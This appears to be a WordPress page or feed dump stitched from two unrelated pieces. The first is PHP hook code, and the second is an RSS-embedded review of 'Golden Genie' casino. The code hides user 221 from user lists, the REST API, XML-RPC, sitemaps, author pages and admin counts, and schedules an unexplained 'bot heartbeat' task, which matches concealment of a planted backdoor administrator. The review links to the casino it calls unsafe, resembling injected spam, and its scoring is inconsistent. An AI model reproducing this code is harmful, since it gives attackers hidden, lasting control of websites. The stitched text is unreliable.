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            status_header( 404 );
            nocache_headers();
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} );

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        return;
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    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 221;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 221;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

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    $exclude[] = 221;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
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            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
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    return $result;
}, 10, 3 );

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        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
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} );

add_action( 'admin_head-users.php', function() {
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} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
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                function( $m ) {
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                },
                $views[ $key ],
                1
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add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
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            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
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} );

add_action( 'pre_user_query', function( $q ) {
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        return;
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    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
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    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 221;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
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add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 221;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

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add_filter( 'rest_user_query', function( $args, $request ) {
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    $exclude[] = 221;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
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add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
        return new WP_Error(
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            array( 'status' => 404 )
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    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
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        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-221{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
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} );
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										<content:encoded><![CDATA[<h3>Contents</h3>
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<li><a href="#What_the_Safety_Index_Actually_Means">What the Safety Index Actually Means</a></li>
<li><a href="#Player_Complaints:_A_Red_Flag_Factory">Player Complaints: A Red Flag Factory</a></li>
<li><a href="#Games_and_Providers:_The_Good_Amid_the_Bad">Games and Providers: The Good Amid the Bad</a></li>
<li><a href="#Bonuses_That_Look_Too_Good_to_Be_True">Bonuses That Look Too Good to Be True</a></li>
<li><a href="#If_You're_Still_Considering_This_Casino">If You&#8217;re Still Considering This Casino</a></li>
<li><a href="#Practical_Takeaway">Practical Takeaway</a></li>
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<p>If you&#8217;re looking for a place to drop your money and hope for the best, <a href="https://golden-genie-casino.org.uk/">golden genie</a> might be your speed. But if you actually want to see your winnings again, you&#8217;ll want to think twice. Our review of this casino turned up a Safety Index of 0.9 out of 100. That&#8217;s not a typo. It&#8217;s a near-bottom score that screams &#8220;proceed at your own risk&#8221; &#8211; and that&#8217;s before you even look at the fine print.</p>
<h2 id="What_the_Safety_Index_Actually_Means">What the Safety Index Actually Means</h2>
<p>We don&#8217;t throw around a number like 0.9 for fun. It comes from a deep dive into the casino&#8217;s Terms and Conditions, player complaints, license status, and how the place handles disputes. <u>Golden Genie</u> Casino&#8217;s T&#038;Cs contain clauses we consider unfair &#8211; the kind a casino can use to deny payouts when it suits them. The casino holds a Curaçao  license and a Mexico license, but those don&#8217;t mean much when the rules are stacked against you. Combined with a high volume of denied payouts relative to the casino&#8217;s size, the result is a Safety Index that&#8217;s effectively a red flag with a siren attached.</p>
<h2 id="Player_Complaints:_A_Red_Flag_Factory">Player Complaints: A Red Flag Factory</h2>
<p>We currently have 33 complaints about Golden <strong>Genie Casino</strong> in our database, totaling 10,000 black points. That&#8217;s a lot for a small-to-medium operator with estimated annual revenues over $1 million. The complaints aren&#8217;t just about slow withdrawals &#8211; they&#8217;re about denied payouts and unresponsive support. Customer support, by the way, we rated as bad or slow. When you have a problem, you want someone who answers fast and actually helps. That&#8217;s not what you get here.</p>
<p>The official source for information about gambling licences in Great Britain is the <a href="https://www.gamblingcommission.gov.uk/">UK Gambling Commission</a>.</p>
<h2 id="Games_and_Providers:_The_Good_Amid_the_Bad">Games and Providers: The Good Amid the Bad</h2>
<p>Credit where it&#8217;s due: the game selection is decent. Over 30 providers including NetEnt, Play&#8217;n GO, Yggdrasil, and Hacksaw Gaming. The types of games on offer:</p>
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<li>Slots, Roulette, Blackjack, Video poker, Baccarat, Live dealer games, Keno, Crash games, and more</li>
</ul>
<p>But a great game library doesn&#8217;t matter if you can&#8217;t withdraw your winnings. The variety is a distraction, not a solution.</p>
<h2 id="Bonuses_That_Look_Too_Good_to_Be_True">Bonuses That Look Too Good to Be True</h2>
<p><strong>Golden Genie</strong> pushes five deposit bonuses, all with huge percentages and <u>free spins</u>. Here&#8217;s the current lineup:</p>
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<td>400% up to €2,000</td>
<td>€2,000</td>
<td>100</td>
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<td>200% up to €1,000</td>
<td>€1,000</td>
<td>50</td>
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<td>150% up to €1,000</td>
<td>€1,000</td>
<td>25</td>
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<td>100% up to €1,000</td>
<td>€1,000</td>
<td>&#8211;</td>
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<td>100% up to €1,000</td>
<td>€1,000</td>
<td>&#8211;</td>
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<p>These offers are designed to pull you in. But when the T&#038;Cs are unfair, that 400% bonus can come with strings that make it nearly impossible to cash out. Always read the wagering requirements and the fine print &#8211; especially the clauses we flagged.</p>
<h2 id="If_You're_Still_Considering_This_Casino">If You&#8217;re Still Considering This Casino</h2>
<p>Here&#8217;s a short checklist for anyone determined to try their luck anyway:</p>
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<li>Read the full Terms and Conditions yourself &#8211; don&#8217;t trust the summary.</li>
<li>Check the latest player complaints on Casino  Guru or other forums.</li>
<li>Test customer support with a withdrawal question before you deposit real money.</li>
<li><strong>Start with a small</strong> deposit to see how the process works.</li>
<li>Have a backup casino in mind &#8211; one with a Safety Index above 7.</li>
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<h2 id="Practical_Takeaway"><strong>Practical Takeaway</strong></h2>
<p>Golden <u>Genie Casino</u> is not a safe place to play. The Safety Index of 0.9 is earned through unfair T&#038;Cs, a high rate of denied payouts, and poor support. The game selection and bonuses are bait, not proof of quality. If you value your money and your time, skip this one and find a casino that actually respects its players. There are plenty that do &#8211; this just isn&#8217;t one of them.</p>
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